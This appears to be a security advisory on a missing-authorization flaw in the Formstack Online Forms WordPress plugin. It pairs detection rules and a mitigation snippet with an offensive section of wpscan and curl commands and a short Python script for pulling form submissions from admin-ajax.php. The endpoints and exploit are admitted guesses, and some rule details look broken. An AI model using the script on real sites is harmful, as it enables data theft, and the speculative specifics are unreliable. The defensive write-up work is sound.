CVE-2025-62738

Executive Summary

CVE-2025-62738 is a Missing Authorization vulnerability in the Formstack Online Forms WordPress plugin, developed by mmattax. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or manipulation. The vulnerability affects all versions up to and including 2.0.2. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The CVSS score of 5.3 (Medium) reflects the low complexity and network-based attack vector, but the impact is limited to confidentiality.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of the plugin by checking its checksum against the WordPress.org repository. No known supply chain attacks have been reported for this specific plugin, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The exploit cannot affect other components.
• Confidentiality Impact: Low (C:L) – Limited unauthorized data access is possible.
• Integrity Impact: None (I:N) – No data modification is possible.
• Availability Impact: None (A:N) – No denial of service is possible.

Threat Level: Medium. The vulnerability is easy to exploit but has limited impact. However, the lack of a patch makes it a persistent risk for all affected installations.

Deep Dive & Mechanics

The vulnerability stems from a Missing Authorization check (CWE-862) in the Formstack Online Forms plugin. The plugin likely exposes REST API endpoints or AJAX actions that are intended for authenticated users but fail to verify the user's capabilities or nonce tokens. An unauthenticated attacker can directly call these endpoints to access or modify form data, settings, or submissions.

Root Cause Analysis:

• The plugin registers WordPress AJAX actions or REST routes without proper current_user_can() checks.
• The wp_ajax_* and wp_ajax_nopriv_* hooks may be misconfigured, allowing unauthenticated access to privileged functions.
• The plugin may rely on client-side checks that can be bypassed by directly crafting HTTP requests.

Attack Scenario:

1. An attacker identifies the vulnerable endpoint (e.g., /wp-json/formstack/v1/submissions or admin-ajax.php?action=formstack_export).
2. The attacker sends a crafted HTTP request without any authentication token.
3. The server processes the request and returns sensitive data (e.g., form submissions, API keys, or configuration details).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for missing authorization vulnerabilities.

Vulnerable Code (Example):

add_action('wp_ajax_formstack_export', 'formstack_export_handler');
add_action('wp_ajax_nopriv_formstack_export', 'formstack_export_handler');

function formstack_export_handler() {
    // No capability check
    $submissions = get_formstack_submissions();
    echo json_encode($submissions);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_formstack_export', 'formstack_export_handler');
// Remove the nopriv hook to restrict to authenticated users

function formstack_export_handler() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $submissions = get_formstack_submissions();
    echo json_encode($submissions);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Formstack Online Forms plugin version <= 2.0.2.
• Knowledge of the vulnerable endpoint (discoverable via fuzzing or code review).

Exploitation Steps:

1. Discover Endpoints: Use a tool like wpscan or manually inspect the plugin's source code for AJAX actions and REST routes.

   wpscan --url http://target.com --enumerate vp
   

2. Craft Request: Send a direct HTTP request to the vulnerable endpoint.

   curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=formstack_export"
   

3. Extract Data: If successful, the response will contain sensitive data (e.g., form submissions in JSON format).

Automated Exploit (Python):

import requests

target = "http://target.com"
endpoint = f"{target}/wp-admin/admin-ajax.php?action=formstack_export"

response = requests.get(endpoint)
if response.status_code == 200:
    print("Exploit successful! Data:")
    print(response.text)
else:
    print(f"Failed with status code: {response.status_code}")

Blue Team (Defensive)

Detection:

• Monitor for unusual requests to admin-ajax.php with unknown or suspicious actions.
• Look for requests from unauthenticated users to endpoints that should require authentication.

Mitigation:

• Immediate: Disable the plugin until a patch is available.
• Workaround: Implement a Web Application Firewall (WAF) rule to block requests to known vulnerable endpoints.
• Long-term: Apply the principle of least privilege and ensure all AJAX actions and REST routes have proper capability checks.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/wp-admin/admin-ajax.php" "chain,id:1001,deny,status:403,msg:'Formstack Exploit Attempt'"
SecRule ARGS:action "^formstack_" "t:lowercase"

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=formstack_* parameters from unauthenticated sources.
  • Unusual outbound data transfers from the WordPress server containing form submission data.

• File IOCs:

  • Modified plugin files (e.g., wp-content/plugins/formstack/formstack.php) with added backdoor code.
  • Unexpected files in the wp-content/uploads/ directory.

• Log IOCs:

  • Repeated 403 errors in access logs for admin-ajax.php with action=formstack_*.
  • Successful requests to admin-ajax.php from IP addresses not in the allowed admin range.

Detection Engineering

YARA Rule

rule Detect_Formstack_Missing_Auth {
    meta:
        description = "Detects missing authorization in Formstack Online Forms plugin"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $ajax_action = "wp_ajax_nopriv_formstack" nocase
        $rest_route = "formstack/v1" nocase
        $missing_check = "current_user_can" nocase
    condition:
        any of ($ajax_action, $rest_route) and not $missing_check
}

Sigma Rule

title: Formstack Missing Authorization Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-62738 in Formstack Online Forms plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=formstack_'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-62738 - Formstack Missing Authorization Exploit";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=formstack_";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and uninstall the Formstack Online Forms plugin until a patch is released.
2. Review Logs: Check access logs for any signs of exploitation (e.g., requests to admin-ajax.php with action=formstack_*).
3. Rotate Secrets: If the plugin stored API keys or tokens, rotate them immediately.

Long-term Actions:

1. Monitor for Patches: Subscribe to the WordPress plugin repository for updates.
2. Implement WAF Rules: Use the provided ModSecurity or Suricata rules to block exploit attempts.
3. Code Review: If you have custom modifications, ensure all AJAX actions and REST routes include proper capability checks.

Workaround (if plugin must remain active):

• Add the following code to your theme's functions.php to block unauthenticated access to Formstack endpoints:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        if (isset($_REQUEST['action']) && strpos($_REQUEST['action'], 'formstack_') === 0) {
            if (!is_user_logged_in()) {
                wp_die('Unauthorized', 403);
            }
        }
    }
});

Valters IT
Securing Digital Frontiers